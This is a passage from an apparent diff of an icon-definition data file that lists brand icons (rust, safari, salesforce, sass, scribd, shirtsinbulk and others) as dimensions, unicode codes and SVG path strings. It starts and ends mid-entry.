7,409.9Z" ], + rockrms: [ 496, 512, [], "f3e9", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z" ], + rust: [ 512, 512, [], "e07a", "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z" ], + safari: [ 512, 512, [], "f267", "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z" ], + salesforce: [ 640, 512, [], "f83b", "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z" ], + sass: [ 640, 512, [], "f41e", "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z" ], + schlix: [ 448, 512, [], "f3ea", "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z" ], + scribd: [ 384, 512, [], "f28a", "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z" ], + searchengin: [ 460, 512, [], "f3eb", "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z" ], + sellcast: [ 448, 512, [], "f2da", "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z" ], + sellsy: [ 640, 512, [], "f213", "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z" ], + servicestack: [ 496, 512, [], "f3ec", "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z" ], + shirtsinbulk: [ 448, 512, [], "f214", "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z" ], + shopify: [ 448, 512, [], "e057", 